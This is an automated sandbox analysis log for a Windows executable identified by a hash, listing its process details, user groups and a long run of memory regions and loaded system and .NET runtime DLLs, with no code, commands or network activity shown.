# Flog Txt Version 1 # Analyzer Version: 4.6.0 # Analyzer Build Date: Jul 8 2022 06:26:21 # Log Creation Date: 05.08.2022 13:13:04.110 Process: id = "1" image_name = "6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe" filename = "c:\\users\\keecfmwgj\\desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe" page_root = "0x4324d000" os_pid = "0xa50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x77c" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 114 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 115 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 116 start_va = 0x40000 end_va = 0x41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 117 start_va = 0x150000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 118 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 119 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 120 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 121 start_va = 0x13ffc0000 end_va = 0x140c23fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe") Region: id = 122 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 123 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 124 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 125 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 265 start_va = 0x550000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 266 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 267 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 268 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 269 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 270 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 271 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 272 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 273 start_va = 0x550000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 274 start_va = 0x730000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 275 start_va = 0x550000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 276 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 277 start_va = 0x830000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 278 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 279 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 280 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 281 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 282 start_va = 0x830000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 283 start_va = 0xa20000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 284 start_va = 0x830000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 285 start_va = 0x9d0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 286 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 287 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 288 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 289 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 290 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 291 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 292 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 293 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 294 start_va = 0xaa0000 end_va = 0xc27fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 295 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 296 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 297 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 298 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 299 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 300 start_va = 0xc30000 end_va = 0xdb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c30000" filename = "" Region: id = 301 start_va = 0xdc0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dc0000" filename = "" Region: id = 302 start_va = 0x21c0000 end_va = 0x2e20fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe") Region: id = 303 start_va = 0x21c0000 end_va = 0x2e20fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe") Region: id = 304 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 305 start_va = 0x7fef0c40000 end_va = 0x7fef1706fff monitored = 1 entry_point = 0x7fef0c463a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 306 start_va = 0x7fef0170000 end_va = 0x7fef0c36fff monitored = 1 entry_point = 0x7fef01763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 307 start_va = 0x7fef0c40000 end_va = 0x7fef1706fff monitored = 1 entry_point = 0x7fef0c463a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 308 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 309 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 310 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 311 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 312 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 313 start_va = 0x7fe91600000 end_va = 0x7fe9160ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91600000" filename = "" Region: id = 314 start_va = 0x7fe91610000 end_va = 0x7fe9161ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91610000" filename = "" Region: id = 315 start_va = 0x7fe91620000 end_va = 0x7fe916affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91620000" filename = "" Region: id = 316 start_va = 0x7fe916b0000 end_va = 0x7fe9171ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe916b0000" filename = "" Region: id = 317 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 318 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 319 start_va = 0x21c0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 320 start_va = 0x22e0000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 321 start_va = 0x2660000 end_va = 0x2a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 322 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 323 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 324 start_va = 0x2a60000 end_va = 0x1aa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a60000" filename = "" Region: id = 325 start_va = 0x1aa60000 end_va = 0x1addffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 326 start_va = 0x22e0000 end_va = 0x23e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 327 start_va = 0x24a0000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 328 start_va = 0x1ade0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ade0000" filename = "" Region: id = 329 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 333 start_va = 0x1b2a0000 end_va = 0x1b69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 334 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 335 start_va = 0x1b6a0000 end_va = 0x1b96efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 336 start_va = 0x7feef640000 end_va = 0x7fef0c3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 337 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 338 start_va = 0x650000 end_va = 0x6ccfff monitored = 0 entry_point = 0x65cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 339 start_va = 0x650000 end_va = 0x6ccfff monitored = 0 entry_point = 0x65cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 340 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 341 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 342 start_va = 0x1b970000 end_va = 0x1bbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 343 start_va = 0x2520000 end_va = 0x25fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002520000" filename = "" Region: id = 344 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 345 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 346 start_va = 0x7fe91720000 end_va = 0x7fe9179ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91720000" filename = "" Region: id = 347 start_va = 0x7fefa510000 end_va = 0x7fefa512fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 348 start_va = 0x7fef2830000 end_va = 0x7fef297efff monitored = 1 entry_point = 0x7fef2831090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 349 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 350 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 351 start_va = 0x7feee9d0000 end_va = 0x7feef63efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 352 start_va = 0x7feedf50000 end_va = 0x7feee9c4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0d59b0e237d7519417de10cd84bda4e7\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\0d59b0e237d7519417de10cd84bda4e7\\system.core.ni.dll") Region: id = 353 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 354 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 355 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 356 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 357 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 358 start_va = 0x7fe917a0000 end_va = 0x7fe917affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe917a0000" filename = "" Region: id = 359 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 360 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 361 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 362 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 363 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 364 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 365 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 366 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 367 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 368 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 369 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 370 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 371 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 372 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 373 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 374 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 375 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 376 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 377 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 378 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 379 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 380 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 381 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 382 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 383 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 384 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 385 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 386 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 387 start_va = 0x1bc60000 end_va = 0x1c05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bc60000" filename = "" Region: id = 388 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 389 start_va = 0x1c060000 end_va = 0x1c894fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001c060000" filename = "" Region: id = 390 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 391 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 392 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 393 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 394 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 395 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 396 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 397 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 398 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 399 start_va = 0x1b970000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 400 start_va = 0x1bb60000 end_va = 0x1bbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 401 start_va = 0x1c8a0000 end_va = 0x2489ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c8a0000" filename = "" Region: id = 402 start_va = 0x248a0000 end_va = 0x24f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000248a0000" filename = "" Region: id = 403 start_va = 0x24fa0000 end_va = 0x34f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000024fa0000" filename = "" Region: id = 404 start_va = 0x34fa0000 end_va = 0x35d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000034fa0000" filename = "" Region: id = 405 start_va = 0x35d90000 end_va = 0x4dd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000035d90000" filename = "" Region: id = 406 start_va = 0x7fff0000 end_va = 0xaffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" 